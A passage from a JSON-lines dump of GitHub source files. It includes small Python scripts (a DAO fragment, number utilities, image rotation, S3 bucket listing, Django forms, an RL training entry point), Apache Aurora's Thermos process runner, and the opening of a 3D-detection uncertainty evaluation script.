\"\r\n a = super().buscar_por_id(comando_sql_buscar_nome)\r\n return(True if a else False)\r\n\r\n","repo_name":"williambasso/Revisao-PYTHON-Exs","sub_path":"revisaoEX2/dao/produtos_dao.py","file_name":"produtos_dao.py","file_ext":"py","file_size_in_byte":1578,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"9518390882","text":"import typing\nimport utils\n\n\ndef read_nums_from_file(filename) -> typing.List:\n f = open(filename, 'r')\n content = f.read()\n return list(map(int, content.split(' ')))\n\n\ndef main():\n nums = read_nums_from_file(\"data/nums.txt\")\n print('Минимальное: ', utils.min_num(nums))\n print('Максимальное: ', utils.max_num(nums))\n print('Сумма: ', utils.sum_nums(nums))\n print('Произведение: ', utils.mul_nums(nums))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Egor2202/technical_task_3","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"25104530480","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Aug 12 19:19:42 2021\n\n@author: fernando\n\"\"\"\n\nimport cv2 as cv\nfrom rotation import rotation\n\nfichero = 'seg2-rgb.png'\nimage = cv.imread(fichero, cv.IMREAD_COLOR)\n\norientation = 42.09534878060612\nrotated_image = rotation(image, -orientation)\ncv.imwrite('seg2-rgb-rot.png', rotated_image)\n","repo_name":"fcamussi/girasol-scripts","sub_path":"rot.py","file_name":"rot.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"74521674320","text":"import boto3\n\nresource = boto3.resource(\"s3\")\nfor bucket in resource.buckets.all():\n print(bucket)\n#It will print: s3.Bucket(name='luitbotobucket')\n\n# HOW TO GET CREATION DATE FOR S3 Bucket\ns3_resource=boto3.client(\"s3\")\n\nprint(s3_resource.list_buckets()['Buckets'])\n# it will print: [{'Name': 'luitbotobucket', 'CreationDate': datetime.datetime(2022, 12, 12, 16, 37, 43, tzinfo=tzlocal())}]","repo_name":"hunterjshaun/PythonBlueMyMind","sub_path":"Boto3/serch_s3bucket_boto3.py","file_name":"serch_s3bucket_boto3.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"22566663590","text":"from django import forms\nfrom .models import Post\nfrom .models import UploadedImage, UploadedVideo\n\n# Form for blog post creation.\nclass PostForm(forms.ModelForm):\n class Meta:\n model = Post\n fields = ['title', 'content', 'cover_image']\n\n# Form for image uploading.\nclass ImageForm(forms.ModelForm):\n image = forms.ImageField(label='Image') \n class Meta:\n model = UploadedImage\n fields = ['image', ]\n\n#form for handling uploaded videos\nclass VideoForm(forms.ModelForm):\n class Meta:\n model = UploadedVideo\n fields = ['video']","repo_name":"DerGeraetK/passiontowander","sub_path":"passiontowander/blog/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"5052522662","text":"from datetime import datetime\nimport argparse\n\nfrom config.defaults import get_cfg_defaults\nfrom brax import envs\nimport matplotlib.pyplot as plt\nfrom IPython.display import clear_output\n\nfrom train import train\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"NxDP\")\n parser.add_argument(\n \"--config-file\",\n default=\"\",\n metavar=\"file\",\n help=\"path to yaml config file\",\n type=str,\n )\n parser.add_argument(\n \"--opts\",\n help=\"Modify config options using the command-line\",\n default=[],\n nargs=argparse.REMAINDER,\n )\n\n args = parser.parse_args()\n\n # build the config\n cfg = get_cfg_defaults()\n if args.config_file:\n cfg.merge_from_file(args.config_file)\n if args.opts:\n cfg.merge_from_list(args.opts)\n cfg.freeze()\n\n env_fn = envs.create_fn(cfg.ENV.ENV_NAME)\n\n xdata = []\n ydata = []\n times = [datetime.now()]\n\n\n def progress(num_steps, metrics):\n times.append(datetime.now())\n xdata.append(num_steps)\n ydata.append(metrics['eval/episode_reward'])\n print(metrics['eval/episode_reward'])\n clear_output(wait=True)\n plt.xlim([0, cfg.TRAIN.NUM_TIMESTEPS])\n plt.ylim([0, 6000])\n plt.xlabel('# environment steps')\n plt.ylabel('reward per episode')\n plt.plot(xdata, ydata)\n plt.show()\n\n inference_fn, params, metrics = train(cfg, env_fn, progress_fn=progress)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"MahanFathi/NxDP","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"22667602992","text":"#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\n\"\"\"Run processes of a Thermos task.\n\nThis module contains the Process class, used to manage the execution of the constituent processes of\na Thermos task. Each process is represented by a \"coordinator\" process, which fires off the actual\ncommandline in a subprocess of its own.\n\n\"\"\"\n\nimport errno\nimport grp\nimport os\nimport pwd\nimport select\nimport signal\nimport subprocess\nimport sys\nimport time\nfrom abc import abstractmethod\nfrom copy import deepcopy\n\nfrom twitter.common import log\nfrom twitter.common.dirutil import lock_file, safe_delete, safe_mkdir, safe_open\nfrom twitter.common.lang import Interface\nfrom twitter.common.quantity import Amount, Data, Time\nfrom twitter.common.recordio import ThriftRecordReader, ThriftRecordWriter\n\nfrom apache.thermos.common.process_util import setup_child_subreaping, wrap_with_mesos_containerizer\n\nfrom gen.apache.aurora.api.constants import TASK_FILESYSTEM_MOUNT_POINT\nfrom gen.apache.thermos.ttypes import ProcessState, ProcessStatus, RunnerCkpt\n\n\nclass Platform(Interface):\n \"\"\"Abstract representation of a platform encapsulating system-level functions\"\"\"\n\n @abstractmethod\n def clock(self):\n pass\n\n @abstractmethod\n def fork(self):\n pass\n\n @abstractmethod\n def getpid(self):\n pass\n\n\nclass LoggerDestination(object):\n FILE = 'file'\n CONSOLE = 'console'\n BOTH = 'both'\n NONE = 'none'\n\n _ALL_DESTINATIONS = [FILE, CONSOLE, BOTH, NONE]\n\n @staticmethod\n def is_valid(destination):\n return destination in LoggerDestination._ALL_DESTINATIONS\n\n\nclass LoggerMode(object):\n STANDARD = 'standard'\n ROTATE = 'rotate'\n\n _ALL_MODES = [STANDARD, ROTATE]\n\n @staticmethod\n def is_valid(mode):\n return mode in LoggerMode._ALL_MODES\n\n\nclass ProcessBase(object):\n \"\"\"\n Encapsulate a running process for a task.\n \"\"\"\n class Error(Exception): pass\n class UnknownUserError(Error): pass\n class CheckpointError(Error): pass\n class UnspecifiedSandbox(Error): pass\n class PermissionError(Error): pass\n\n CONTROL_WAIT_CHECK_INTERVAL = Amount(100, Time.MILLISECONDS)\n MAXIMUM_CONTROL_WAIT = Amount(1, Time.MINUTES)\n\n def __init__(self, name, cmdline, sequence, pathspec, sandbox_dir, user=None, platform=None,\n logger_destination=LoggerDestination.FILE, logger_mode=LoggerMode.STANDARD,\n rotate_log_size=None, rotate_log_backups=None):\n \"\"\"\n required:\n name = name of the process\n cmdline = cmdline of the process\n sequence = the next available sequence number for state updates\n pathspec = TaskPath object for synthesizing path names\n sandbox_dir = the sandbox in which to run the process\n platform = Platform providing fork, clock, getpid\n\n optional:\n user = the user to run as (if unspecified, will default to current user.)\n if specified to a user that is not the current user, you must have root\n access\n logger_destination = The destination for logs output.\n logger_mode = The type of logger to use for the process.\n rotate_log_size = The maximum size of the rotated stdout/stderr logs.\n rotate_log_backups = The maximum number of rotated stdout/stderr log backups.\n \"\"\"\n self._name = name\n self._cmdline = cmdline\n self._pathspec = pathspec\n self._seq = sequence\n self._sandbox = sandbox_dir\n if self._sandbox:\n safe_mkdir(self._sandbox)\n self._pid = None\n self._fork_time = None\n self._user = user\n self._ckpt = None\n self._ckpt_head = -1\n if platform is None:\n raise ValueError(\"Platform must be specified\")\n self._platform = platform\n self._logger_destination = logger_destination\n self._logger_mode = logger_mode\n self._rotate_log_size = rotate_log_size\n self._rotate_log_backups = rotate_log_backups\n\n if not LoggerDestination.is_valid(self._logger_destination):\n raise ValueError(\"Logger destination %s is invalid.\" % self._logger_destination)\n\n if not LoggerMode.is_valid(self._logger_mode):\n raise ValueError(\"Logger mode %s is invalid.\" % self._logger_mode)\n\n if self._logger_mode == LoggerMode.ROTATE:\n if self._rotate_log_size.as_(Data.BYTES) <= 0:\n raise ValueError('Log size cannot be less than one byte.')\n if self._rotate_log_backups <= 0:\n raise ValueError('Log backups cannot be less than one.')\n\n def _log(self, msg, exc_info=None):\n log.debug('[process:%5s=%s]: %s', self._pid, self.name(), msg,\n exc_info=exc_info)\n\n def _getpwuid(self):\n \"\"\"Returns a tuple of the user (i.e. --user) and current user.\"\"\"\n uid = os.getuid()\n try:\n current_user = pwd.getpwuid(uid)\n except KeyError:\n raise self.UnknownUserError('Unknown uid %s!' % uid)\n try:\n user = pwd.getpwnam(self._user) if self._user is not None else current_user\n except KeyError:\n raise self.UnknownUserError('Unable to get pwent information!')\n return user, current_user\n\n def _ckpt_write(self, msg):\n self._init_ckpt_if_necessary()\n self._log(\"child state transition [%s] <= %s\" % (self.ckpt_file(), msg))\n self._ckpt.write(msg)\n\n def _write_process_update(self, **kw):\n \"\"\"Write a process update to the coordinator's checkpoint stream.\"\"\"\n process_status = ProcessStatus(**kw)\n process_status.seq = self._seq\n process_status.process = self.name()\n self._ckpt_write(RunnerCkpt(process_status=process_status))\n self._seq += 1\n\n def _write_initial_update(self):\n self._write_process_update(state=ProcessState.FORKED,\n fork_time=self._fork_time,\n coordinator_pid=self._pid)\n\n def cmdline(self):\n return self._cmdline\n\n def name(self):\n return self._name\n\n def pid(self):\n \"\"\"pid of the coordinator\"\"\"\n return self._pid\n\n def rebind(self, pid, fork_time):\n \"\"\"rebind Process to an existing coordinator pid without forking\"\"\"\n self._pid = pid\n self._fork_time = fork_time\n\n def ckpt_file(self):\n return self._pathspec.getpath('process_checkpoint')\n\n def process_logdir(self):\n return self._pathspec.getpath('process_logdir')\n\n def _setup_ckpt(self):\n \"\"\"Set up the checkpoint: must be run on the parent.\"\"\"\n self._log('initializing checkpoint file: %s' % self.ckpt_file())\n ckpt_fp = lock_file(self.ckpt_file(), \"a+\")\n if ckpt_fp in (None, False):\n raise self.CheckpointError('Could not acquire checkpoint permission or lock for %s!' %\n self.ckpt_file())\n self._ckpt_head = os.path.getsize(self.ckpt_file())\n ckpt_fp.seek(self._ckpt_head)\n self._ckpt = ThriftRecordWriter(ckpt_fp)\n self._ckpt.set_sync(True)\n\n def _init_ckpt_if_necessary(self):\n if self._ckpt is None:\n self._setup_ckpt()\n\n def _wait_for_control(self):\n \"\"\"Wait for control of the checkpoint stream: must be run in the child.\"\"\"\n total_wait_time = Amount(0, Time.SECONDS)\n\n with open(self.ckpt_file(), 'r') as fp:\n fp.seek(self._ckpt_head)\n rr = ThriftRecordReader(fp, RunnerCkpt)\n while total_wait_time < self.MAXIMUM_CONTROL_WAIT:\n ckpt_tail = os.path.getsize(self.ckpt_file())\n if ckpt_tail == self._ckpt_head:\n self._platform.clock().sleep(self.CONTROL_WAIT_CHECK_INTERVAL.as_(Time.SECONDS))\n total_wait_time += self.CONTROL_WAIT_CHECK_INTERVAL\n continue\n checkpoint = rr.try_read()\n if checkpoint:\n if not checkpoint.process_status:\n raise self.CheckpointError('No process status in checkpoint!')\n if (checkpoint.process_status.process != self.name() or\n checkpoint.process_status.state != ProcessState.FORKED or\n checkpoint.process_status.fork_time != self._fork_time or\n checkpoint.process_status.coordinator_pid != self._pid):\n self._log('Losing control of the checkpoint stream:')\n self._log(' fork_time [%s] vs self._fork_time [%s]' % (\n checkpoint.process_status.fork_time, self._fork_time))\n self._log(' coordinator_pid [%s] vs self._pid [%s]' % (\n checkpoint.process_status.coordinator_pid, self._pid))\n raise self.CheckpointError('Lost control of the checkpoint stream!')\n self._log('Taking control of the checkpoint stream at record: %s' %\n checkpoint.process_status)\n self._seq = checkpoint.process_status.seq + 1\n return True\n raise self.CheckpointError('Timed out waiting for checkpoint stream!')\n\n def _prepare_fork(self):\n user, current_user = self._getpwuid()\n if self._user:\n if user != current_user and os.geteuid() != 0:\n raise self.PermissionError('Must be root to run processes as other users!')\n self._fork_time = self._platform.clock().time()\n self._setup_ckpt()\n # Since the forked process is responsible for creating log files, it needs to own the log dir.\n safe_mkdir(self.process_logdir())\n os.chown(self.process_logdir(), user.pw_uid, user.pw_gid)\n\n def _finalize_fork(self):\n self._write_initial_update()\n self._ckpt.close()\n self._ckpt = None\n\n def start(self):\n \"\"\"\n This is the main call point from the runner, and forks a co-ordinator process to run the\n target process (i.e. self.cmdline())\n\n The parent returns immediately and populates information about the pid of the co-ordinator.\n The child (co-ordinator) will launch the target process in a subprocess.\n \"\"\"\n self._prepare_fork() # calls _setup_ckpt which can raise CheckpointError\n # calls _getpwuid which can raise:\n # UnknownUserError\n # PermissionError\n self._pid = self._platform.fork()\n if self._pid == 0:\n self._pid = self._platform.getpid()\n self._wait_for_control() # can raise CheckpointError\n try:\n self.execute()\n except Exception as e:\n self._log('Error trying to execute %s: %s' % (self._name, e), exc_info=True)\n raise e\n finally:\n self._ckpt.close()\n self.finish()\n else:\n self._finalize_fork() # can raise CheckpointError\n\n def execute(self):\n raise NotImplementedError\n\n def finish(self):\n pass\n\n\nclass RealPlatform(Platform):\n IGNORE_SIGNALS = (signal.SIGINT,)\n\n def __init__(self, fork=os.fork):\n self._fork = fork\n\n def fork(self):\n # Before we fork, ensure we become the parent of any processes that escape\n # the cordinator.\n setup_child_subreaping()\n pid = self._fork()\n if pid == 0:\n self._sanitize()\n return pid\n\n def _sanitize(self):\n for sig in self.IGNORE_SIGNALS:\n signal.signal(sig, signal.SIG_IGN)\n\n def getpid(self):\n return os.getpid()\n\n def clock(self):\n return time\n\n\nclass Process(ProcessBase):\n \"\"\"\n Encapsulate a running process for a task.\n \"\"\"\n RCFILE = '.thermos_profile'\n FD_CLOEXEC = True\n\n def __init__(self, *args, **kw):\n \"\"\"\n See ProcessBase.__init__\n\n Takes additional arguments:\n fork: the fork function to use [default: os.fork]\n chroot: whether or not to chroot into the sandbox [default: False]\n preserve_env: whether or not to preserve env variables for the task [default: False]\n mesos_containerizer_path: The path to the mesos-containerizer binary to be used for task\n filesystem isolation.\n container_sandbox: If running in an isolated filesystem, the path within that filesystem\n where the sandbox is mounted.\n \"\"\"\n fork = kw.pop('fork', os.fork)\n self._use_chroot = bool(kw.pop('chroot', False))\n self._rc = None\n self._preserve_env = bool(kw.pop('preserve_env', False))\n self._mesos_containerizer_path = kw.pop('mesos_containerizer_path', None)\n self._container_sandbox = kw.pop('container_sandbox', None)\n\n if self._mesos_containerizer_path is not None and self._container_sandbox is None:\n raise self.UnspecifiedSandbox('If using mesos-containerizer, container_sandbox must be set.')\n\n kw['platform'] = RealPlatform(fork=fork)\n ProcessBase.__init__(self, *args, **kw)\n if self._use_chroot and self._sandbox is None:\n raise self.UnspecifiedSandbox('If using chroot, must specify sandbox!')\n\n def _chroot(self):\n \"\"\"chdir and chroot to the sandbox directory.\"\"\"\n os.chdir(self._sandbox)\n os.chroot(self._sandbox)\n\n def _setuid(self):\n \"\"\"Drop privileges to the user supplied in Process creation (if necessary.)\"\"\"\n user, current_user = self._getpwuid()\n if user.pw_uid == current_user.pw_uid:\n return\n\n uid, gid = user.pw_uid, user.pw_gid\n username = user.pw_name\n group_ids = [group.gr_gid for group in grp.getgrall() if username in group.gr_mem]\n os.setgroups(group_ids)\n os.setgid(gid)\n os.setuid(uid)\n\n def wrapped_cmdline(self, cwd):\n cmdline = self.cmdline()\n\n # If mesos-containerizer is not set, we only need to wrap the cmdline in a bash invocation.\n if self._mesos_containerizer_path is None:\n return ['/bin/bash', '-c', cmdline]\n else:\n return wrap_with_mesos_containerizer(cmdline, self._user, cwd, self._mesos_containerizer_path)\n\n def execute(self):\n \"\"\"Perform final initialization and launch target process commandline in a subprocess.\"\"\"\n\n user, _ = self._getpwuid()\n username, homedir = user.pw_name, user.pw_dir\n\n # TODO(wickman) reconsider setsid now that we're invoking in a subshell\n os.setsid()\n if self._use_chroot:\n self._chroot()\n\n # If the mesos containerizer path is set, then this process will be launched from within an\n # isolated filesystem image by the mesos-containerizer executable. This executable needs to be\n # run as root so that it can properly set up the filesystem as such we'll skip calling setuid at\n # this point. We'll instead setuid after the process has been forked (mesos-containerizer itself\n # ensures the forked process is run as the correct user).\n taskfs_isolated = self._mesos_containerizer_path is not None\n if not taskfs_isolated:\n self._setuid()\n\n # start process\n start_time = self._platform.clock().time()\n\n if not self._sandbox:\n cwd = subprocess_cwd = sandbox = os.getcwd()\n else:\n if self._use_chroot:\n cwd = subprocess_cwd = sandbox = '/'\n elif taskfs_isolated:\n cwd = homedir = sandbox = self._container_sandbox\n subprocess_cwd = self._sandbox\n else:\n cwd = subprocess_cwd = homedir = sandbox = self._sandbox\n\n thermos_profile = os.path.join(sandbox, self.RCFILE)\n\n if self._preserve_env:\n env = deepcopy(os.environ)\n else:\n env = {}\n\n env.update({\n 'HOME': homedir,\n 'LOGNAME': username,\n 'USER': username,\n 'PATH': os.environ['PATH']\n })\n\n wrapped_cmdline = self.wrapped_cmdline(cwd)\n log.debug('Wrapped cmdline: %s', wrapped_cmdline)\n\n real_thermos_profile_path = os.path.join(\n os.environ['MESOS_DIRECTORY'],\n TASK_FILESYSTEM_MOUNT_POINT,\n thermos_profile.lstrip('/')) if taskfs_isolated else thermos_profile\n\n if os.path.exists(real_thermos_profile_path):\n env.update(BASH_ENV=thermos_profile)\n\n log.debug('ENV is: %s', env)\n subprocess_args = {\n 'args': wrapped_cmdline,\n 'close_fds': self.FD_CLOEXEC,\n 'cwd': subprocess_cwd,\n 'env': env,\n 'pathspec': self._pathspec\n }\n\n log_destination_resolver = LogDestinationResolver(\n self._pathspec,\n destination=self._logger_destination,\n mode=self._logger_mode,\n rotate_log_size=self._rotate_log_size,\n rotate_log_backups=self._rotate_log_backups)\n stdout, stderr, handlers_are_files = log_destination_resolver.get_handlers()\n if handlers_are_files:\n executor = SubprocessExecutor(stdout=stdout, stderr=stderr, **subprocess_args)\n else:\n executor = PipedSubprocessExecutor(stdout=stdout, stderr=stderr, **subprocess_args)\n\n pid = executor.start()\n\n # Now that we've forked the process, if the task's filesystem is isolated it's now safe to\n # setuid.\n if taskfs_isolated:\n self._setuid()\n\n self._write_process_update(state=ProcessState.RUNNING, pid=pid, start_time=start_time)\n\n rc = executor.wait()\n\n # indicate that we have finished/failed\n if rc < 0:\n state = ProcessState.KILLED\n elif rc == 0:\n state = ProcessState.SUCCESS\n else:\n state = ProcessState.FAILED\n\n self._write_process_update(state=state, return_code=rc, stop_time=self._platform.clock().time())\n self._rc = rc\n\n def finish(self):\n self._log('Coordinator exiting.')\n sys.exit(0)\n\n\nclass SubprocessExecutorBase(object):\n \"\"\"\n Encapsulate execution of a subprocess.\n \"\"\"\n\n def __init__(self, args, close_fds, cwd, env, pathspec):\n \"\"\"\n required:\n args = The arguments to pass to the subprocess.\n close_fds = Close file descriptors argument to Popen.\n cwd = The current working directory.\n env = Environment variables to be passed to the subprocess.\n pathspec = TaskPath object for synthesizing path names.\n \"\"\"\n self._args = args\n self._close_fds = close_fds\n self._cwd = cwd\n self._env = env\n self._pathspec = pathspec\n self._popen = None\n\n def _start_subprocess(self, stderr, stdout):\n return subprocess.Popen(self._args,\n stderr=stderr,\n stdout=stdout,\n close_fds=self._close_fds,\n cwd=self._cwd,\n env=self._env)\n\n def start(self):\n \"\"\"Start the subprocess and immediately return the resulting pid.\"\"\"\n raise NotImplementedError()\n\n def wait(self):\n \"\"\"Wait for the subprocess to finish executing and return the return code.\"\"\"\n raise NotImplementedError()\n\n\nclass SubprocessExecutor(SubprocessExecutorBase):\n \"\"\"\n Basic implementation of a SubprocessExecutor that writes stderr/stdout to specified output files.\n \"\"\"\n\n def __init__(self, args, close_fds, cwd, env, pathspec, stdout=None, stderr=None):\n \"\"\"\n See SubprocessExecutorBase.__init__\n\n Takes additional arguments:\n stdout = Destination handler for stdout output. Default is /dev/null.\n stderr = Destination handler for stderr output. Default is /dev/null.\n \"\"\"\n super(SubprocessExecutor, self).__init__(args, close_fds, cwd, env, pathspec)\n self._stderr = stderr\n self._stdout = stdout\n\n def start(self):\n self._popen = self._start_subprocess(self._stderr, self._stdout)\n return self._popen.pid\n\n def wait(self):\n return self._popen.wait()\n\n\nclass PipedSubprocessExecutor(SubprocessExecutorBase):\n \"\"\"\n Implementation of SubprocessExecutorBase that uses pipes to poll the pipes to output streams and\n copies them to the specified destinations.\n \"\"\"\n\n READ_BUFFER_SIZE = 2 ** 16\n\n def __init__(self, args, close_fds, cwd, env, pathspec, stdout=None, stderr=None):\n \"\"\"\n See SubprocessExecutorBase.__init__\n\n Takes additional arguments:\n stdout = Destination handler for stdout output. Default is /dev/null.\n stderr = Destination handler for stderr output. Default is /dev/null.\n \"\"\"\n super(PipedSubprocessExecutor, self).__init__(args, close_fds, cwd, env, pathspec)\n self._stderr = stderr\n self._stdout = stdout\n\n def start(self):\n self._popen = self._start_subprocess(subprocess.PIPE, subprocess.PIPE)\n return self._popen.pid\n\n def wait(self):\n stdout = self._popen.stdout.fileno()\n stderr = self._popen.stderr.fileno()\n pipes = {\n stderr: self._stderr,\n stdout: self._stdout\n }\n\n rc = None\n # Read until there is a return code AND both of the pipes have reached EOF.\n while rc is None or pipes:\n rc = self._popen.poll()\n\n read_results, _, _ = select.select(pipes.keys(), [], [], 1)\n for fd in read_results:\n handler = pipes[fd]\n buf = os.read(fd, self.READ_BUFFER_SIZE)\n\n if len(buf) == 0:\n del pipes[fd]\n else:\n handler.write(buf)\n\n return rc\n\n\nclass LogDestinationResolver(object):\n \"\"\"\n Resolves correct stdout/stderr destinations based on process configuration.\n \"\"\"\n\n STDOUT = 'stdout'\n STDERR = 'stderr'\n\n def __init__(self, pathspec, destination=LoggerDestination.FILE, mode=LoggerMode.STANDARD,\n rotate_log_size=None, rotate_log_backups=None):\n \"\"\"\n pathspec = TaskPath object for synthesizing path names.\n destination = Log destination.\n logger_mode = The type of logger to use for the process.\n rotate_log_size = The maximum size of the rotated stdout/stderr logs.\n rotate_log_backups = The maximum number of rotated stdout/stderr log backups.\n \"\"\"\n self._pathspec = pathspec\n self._destination = destination\n self._mode = mode\n self._rotate_log_size = rotate_log_size\n self._rotate_log_backups = rotate_log_backups\n\n if not LoggerDestination.is_valid(self._destination):\n raise ValueError(\"Logger destination %s is invalid.\" % self._destination)\n\n if not LoggerMode.is_valid(self._mode):\n raise ValueError(\"Logger mode %s is invalid.\" % self._mode)\n\n def get_handlers(self):\n \"\"\"\n Creates stdout/stderr handler by provided configuration\n \"\"\"\n return (self._get_handler(self.STDOUT),\n self._get_handler(self.STDERR),\n self._handlers_are_files())\n\n def _handlers_are_files(self):\n \"\"\"\n Returns True if both the handlers are standard file objects.\n \"\"\"\n return (self._destination == LoggerDestination.CONSOLE or\n (self._destination == LoggerDestination.FILE and self._mode == LoggerMode.STANDARD))\n\n def _get_handler(self, name):\n \"\"\"\n Constructs correct handler or file object based on the provided configuration.\n \"\"\"\n\n # On no destination write logs to /dev/null\n if self._destination == LoggerDestination.NONE:\n return StreamHandler(safe_open(os.devnull, 'w'))\n\n # Streamed logs to predefined outputs\n if self._destination == LoggerDestination.CONSOLE:\n return sys.stdout if name == self.STDOUT else sys.stderr\n\n # Streaming AND file logs are required\n if self._destination == LoggerDestination.BOTH:\n return TeeHandler(self._get_stream(name), self._get_file(name))\n\n # File only logs are required\n return self._get_file(name)\n\n def _get_file(self, name):\n if self._mode == LoggerMode.STANDARD:\n return safe_open(self._get_log_path(name), mode='a')\n if self._mode == LoggerMode.ROTATE:\n log_size = int(self._rotate_log_size.as_(Data.BYTES))\n return RotatingFileHandler(self._get_log_path(name),\n log_size,\n self._rotate_log_backups)\n\n def _get_stream(self, name):\n \"\"\"\n Returns OS stream by name\n \"\"\"\n if name == self.STDOUT:\n return StreamHandler(sys.stdout)\n if name == self.STDERR:\n return StreamHandler(sys.stderr)\n\n def _get_log_path(self, log_name):\n return self._pathspec.with_filename(log_name).getpath('process_logdir')\n\n\nclass RotatingFileHandler(object):\n \"\"\"\n File handler that implements max size/rotation.\n \"\"\"\n\n def __init__(self, filename, max_bytes, max_backups, mode='w'):\n \"\"\"\n required:\n filename = The file name.\n max_bytes = The maximum size of an individual log file.\n max_backups = The maximum number of log file backups to create.\n\n optional:\n mode = Mode to open the file in.\n \"\"\"\n if max_bytes > 0 and max_backups <= 0:\n raise ValueError('A positive value for max_backups must be specified if max_bytes > 0.')\n self._max_bytes = max_bytes\n self._max_backups = max_backups\n self.file = safe_open(filename, mode=mode)\n self.filename = filename\n self.mode = mode\n self.closed = False\n\n def close(self):\n if not self.closed:\n self.file.close()\n self.closed = True\n\n def write(self, b):\n self.file.write(b)\n self.file.flush()\n if self.should_rollover():\n self.rollover()\n\n def swap_files(self, src, tgt):\n if os.path.exists(tgt):\n safe_delete(tgt)\n\n try:\n os.rename(src, tgt)\n except OSError as e:\n if e.errno != errno.ENOENT:\n raise\n\n def make_indexed_filename(self, index):\n return '%s.%d' % (self.filename, index)\n\n def should_rollover(self):\n if self._max_bytes <= 0 or self._max_backups <= 0:\n return False\n\n if self.file.tell() >= self._max_bytes:\n return True\n\n return False\n\n def rollover(self):\n \"\"\"\n Perform the rollover of the log.\n \"\"\"\n self.file.close()\n for i in range(self._max_backups - 1, 0, -1):\n src = self.make_indexed_filename(i)\n tgt = self.make_indexed_filename(i + 1)\n if os.path.exists(src):\n self.swap_files(src, tgt)\n\n self.swap_files(self.filename, self.make_indexed_filename(1))\n self.file = safe_open(self.filename, mode='w')\n\n\nclass StreamHandler(object):\n \"\"\"\n Stream handler wraps stream objects and allows configuration of whether objects\n should be closed when ending a subprocess.\n \"\"\"\n\n def __init__(self, stream, close=False):\n \"\"\"\n stream = Wrapped stream object.\n \"\"\"\n self._stream = stream\n self._close = close\n\n def write(self, b):\n self._stream.write(b)\n self._stream.flush()\n\n def close(self):\n if self._close:\n self._stream.close()\n\n\nclass TeeHandler(object):\n \"\"\"\n Tee handler mimicks the unix tee command and splits output between two destinations\n \"\"\"\n\n def __init__(self, first, second):\n \"\"\"\n required:\n first = First destination\n second = Second destination\n \"\"\"\n self._first = first\n self._second = second\n\n def write(self, b):\n self._first.write(b)\n self._second.write(b)\n\n def close(self):\n self._first.close()\n self._second.close()\n","repo_name":"apache/aurora","sub_path":"src/main/python/apache/thermos/core/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":26508,"program_lang":"python","lang":"en","doc_type":"code","stars":630,"dataset":"github-code","pt":"3"} +{"seq_id":"9602593263","text":"from math import e\nimport os, sys, copy, gc, yaml, csv\nfrom pprint import pprint\n\nimport pickle\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.patches import Rectangle\nfrom matplotlib.transforms import Affine2D\nfrom tqdm import tqdm\nfrom prettytable import PrettyTable\n\n# Dataset evaluation\nfrom detection_eval.detection_eval import DetectionEval\nfrom detection_eval.dataset_filters import build_kitti_filters, build_cadc_filters, build_nuscenes_filters\nfrom detection_eval.box_list import combine_box_lists\n\n# Cluster predictions\nfrom cluster import cluster_preds\n\nfrom utils import load_dicts, create_thresholds, add_num_pts, filter_pred_dicts, plot_conf_pts, plot_pr_curve\n\nfrom scipy.special import entr\n\n# Scoring Rules\nfrom scoring.nll_clf import NLLCLF\nfrom scoring.nll_reg import NLLREG\nfrom scoring.binary_brier_score import BINARYBRIERSCORE\nfrom scoring.brier_score import BRIERSCORE\nfrom scoring.dmm import DMM\nfrom scoring.energy_score import ENERGYSCORE\n\n# Uncertainty Metrics\nfrom scoring.uncertainty_metrics import ShannonEntropy, AleatoricEntropy, MutualInfo, EpistemicTotalVar, AleatoricTotalVar\n# from scoring.uncertainty_metrics import UncertaintyMetrics\n\n# Calibration Error\nfrom ece import calculate_ece, plot_reliability_clf, calculate_ece_reg, plot_reliability_reg\nimport calibration as cal\n\ndataset_types = ['KITTI', 'CADC', 'NuScenes']\nselected_dataset = sys.argv[1] # dataset_types[1]\ndataset_path = None\nif selected_dataset == dataset_types[0]:\n dataset_path = '/root/kitti'\n logdir = '/root/logdir/output_pkls/kitti'\n gts_path = os.path.join(logdir, 'kitti_infos_val.pkl') # 'gts.pkl' 'kitti_infos_val.pkl' 'kitti_infos_train.pkl'\n # gts_path = os.path.join(logdir, 'kitti_infos_train.pkl') # 'gts.pkl' 'kitti_infos_val.pkl' 'kitti_infos_train.pkl'\nelif selected_dataset == dataset_types[1]:\n dataset_path = '/root/cadc'\n logdir = '/root/logdir/output_pkls/cadc'\n gts_path = os.path.join(logdir, 'cadc_infos_val.pkl')\nelif selected_dataset == dataset_types[2]:\n dataset_path = '/root/nusc'\n logdir = '/root/logdir/output_pkls/nuscenes'\n gts_path = os.path.join(logdir, 'nuscenes_infos_10sweeps_val.pkl')\n\n# Load arguments for clustering\nENSEMBLE_TYPE = int(sys.argv[2])\nVOTING_STATEGY = int(sys.argv[3])\n\n# Create path to the pickle file\nPKL_FILE = sys.argv[4]\npreds_path = os.path.join(logdir, PKL_FILE)\n\nif ENSEMBLE_TYPE == -1: # original model\n print('Ensemble type: Sigmoid model')\n 